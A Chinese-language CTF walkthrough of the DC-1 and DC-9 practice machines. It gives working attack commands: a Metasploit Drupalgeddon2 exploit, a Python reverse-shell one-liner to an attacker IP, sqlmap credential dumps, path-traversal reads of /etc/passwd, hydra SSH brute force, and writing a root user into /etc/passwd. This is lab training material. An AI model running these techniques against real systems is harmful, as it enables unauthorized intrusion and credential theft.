DC-X靶机
Table of Contents
DC-1
1信息收集
1.1主机发现
nmap -T4 -p 80 192.168.1.0/24 –open |
扫描局域网内开启80端口的主机,寻找靶机IP。00:0C:29:9A:C9:31
扫描靶机IP(192.168.1.45)的全端口。
nmap -T4 -v -sV -p- -sS 192.168.1.45 |
1.2获取网站类型
通过Wappalyzer 插件与网站信息得知网站由Drupal7 cms搭建。
2渗透测试
2.1 searchsploit查找相关payload
使用kali的searchsploit检索Drupal7的相关漏洞,searchsploit Drupal。
searchsploit Drupal
2.2 MSF获取shell
使用z命令打开msf控制台。
“search Drupal”命令搜索相关漏洞利用模块,找到相关利用模块。
use exploit/unix/webapp/drupal_drupalgeddon2 set rhosts 192.168.70.132 exploit |
使用exploit命令开始漏洞利用,拿到meterpreter shell。
3后渗透
3.1获取flag1
ls cat flag1.txt |
cat flag1.txt |
3.2获取flag2
根据如上提示搜索drupal配置文件,位置“/sites/default/settings.php”。
“cat sites/default/settings.php”查看得到flag2、得到数据库账号密码与提示。
暴力和字典攻击并不是获得访问权限的唯一方法,而且您需要访问权限)。 |
3.3登入数据库,获取flag3
meterpreter下使用shell命令获取一个shell,并使用python创建一个交互式shell。
shell python -c “import pty;pty.spawn(‘/bin/sh’)” |
使用获取的mysql账号密码登录数据库。
mysql -h 127.0.0.1 -u dbuser -p |
查show tables;看网站数据库、数据表。
show databases; |
show tables; 使用drupaldb库 |
select *from users\G; 查看users表,发现网站登录账号与密码hash。 |
由于pass字段采用程序自带算法加密,无法破解,这里通过替换hash密码,登录。
生成密码hash文件为网站根目录(/var/www)下的 scripts/password-hash.sh。
php scripts/password-hash.sh admin123456 |
admin123456的hash值为“$S$DxDus7jOq0A5o0rdaeclV5nTI0B54pWsK0ThNLJU0npgezjtGePg”
回到数据库中,使用update语句替换密码hash。
update drupaldb.users set pass = ‘$S$Dm4F3r60K2fQdcH9YdY.7.J2mlnrNH99Pzh1GhgdfnaNWAGSwcGe’ where name = ‘admin’; |
利用修改的密码登录网站
点find content得flag3。
3.4提权获取flag4
在信息收集时查看 “cat /etc/passwd”时获取flag4与提示。
cd /home/flag4 cat flag4.txt |
提示我们需要对系统提权。
尝试suid提权,
find / -user root -perm -4000 -print 2>/dev/null 查看系统中具有root权限的文件 发现了“/usr/bin/find” |
根据利用方法获取root权限shell。flag4.txt为当前目录下的一个文件。
find flag4.txt -exec whoami \; |
kali监听4444端口,nc -lvnp 4444。
将whoami换为python反弹shell命令,命令中的ip要换为自己kali的ip。
find flag4.txt -exec python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.70.130”,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’ \; |
cd /root cat thefinalflag.txt |
——————————————游戏结束————————————————————
DC-9
0 靶机地址
nmap 192.168.1.51/24 匹配MAC地址,获取靶机地址。
00:50:56:33:D7:CA 192.168.1.51
1端口扫描
nmap -Pn -sV -p- -A 192.168.1.51 |
发现22端口被过滤了
2 渗透测试
2.1 SQL注入
POST /results.php HTTP/1.1 Host: 192.168.1.51 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 32 Origin: http://192.168.1.51 Connection: close Referer: http://192.168.1.51/search.php Upgrade-Insecure-Requests: 1 search=Bob* |
python sqlmap.py -r 1.txt
2.1.1 SQL注入发现账号+密码。
python sqlmap.py -r 1.txt –dbs –batch python sqlmap.py -r 1.txt -D “users” –tables –batch python sqlmap.py -r 1.txt -D “users” -T “UserDetails” –columns –batch python sqlmap.py -r 1.txt -D “users” -T “UserDetails” -C “username,password” –dump –batch |
marym | 3kfs86sfd | | julied | 468sfdfsd2 | | fredf | 4sfd87sfd1 | | barneyr | RocksOff | | tomc | TC&TheBoyz | | jerrym | B8m#48sd | | wilmaf | Pebbles | | bettyr | BamBam01 | | chandlerb | UrAG0D! | | joeyt | Passw0rd | | rachelg | yN72#dsd | | rossg | ILoveRachel | | monicag | 3248dsds7s | | phoebeb | smellycats | | scoots | YR3BVxxxw87 | | janitor | Ilovepeepee | | janitor2 | Hawaii-Five-0 |
将用户名和密码分别保存至user.txt和pass.txt中。
2.2.2 SQL注入发现admin+密码
python sqlmap.py -r 1.txt –dbs –batch python sqlmap.py -r 1.txt -D “Staff” –tables –batch python sqlmap.py -r 1.txt -D “Staff” -T “Users” –columns –batch python sqlmap.py -r 1.txt -D “Staff” -T “Users” -C “Username,Password” –dump –batch |
admin 856f5de590ef37314e7c3bdf6f8a66dc 解密网站:https://hashes.com/en/decrypt/hash admin transorbital1 |
http://192.168.1.51/manage.php
2.2文件包含
http://192.168.1.51/manage.php?file=../../../../etc/passwd
2.3敲门knockd服务
前面信息收集,发现22端口被过滤了,可能安装了knockd服务
knockd服务,即端口敲门服务,此服务可动态添加iptables规则来隐藏系统开启的服务,开启需访问的服务端口,才可对外访问。不使用时会被关闭。默认路径/etc/knocked.conf。 |
http://192.168.1.51/manage.php?file=../../../../etc/knockd.conf
执行敲门操作:7469,8475,9842
nmap -p 7469 192.168.1.51 nmap -p 8475 192.168.1.51 nmap -p 9842 192.168.1.51 |
nmap -p 22 192.168.1.51 |
2.4 hydra爆破
hydra -L user.txt -P passwd.txt 192.168.70.133 ssh chandlerb UrAG0D! joeyt Passw0rd janitor Ilovepeepee |
ssh janitor@192.168.1.51 |
ls -al cd .secrets-for-putin/ ls cat passwords-found-on-post-it-notes.txt |
BamBam01 Passw0rd smellycats P0Lic#10-4 B4-Tru3-001 4uGU5T-NiGHts |
将这些密码加入pass.txt中
hydra -L user.txt -P passwd.txt 192.168.70.133 ssh fredf B4-Tru3-001 |
ssh fredf@192.168.1.51 B4-Tru3-001 |
3权限提升
sudo -l 查看fredf用户可用那些具有root权限的命令 |
kali使用openssl工具先创建一个本地的加密用户
openssl passwd -1 -salt icepeak 123456 -1 的意思是使用md5加密算法 -salt 自动插入一个随机数作为文件内容加密,默认选项 加点盐 $1$icepeak$zytcNFjPRKx6SrTA7G3Xe1 |
cd /opt/devstuff/dist/test echo ‘icepeak:$1$icepeak$zytcNFjPRKx6SrTA7G3Xe1:0:0::/root:/bin/bash’ >> /tmp/getflag |
sudo ./test /tmp/getflag /etc/passwd su icepeak 123456 |
cd /root ls cat theflag.txt |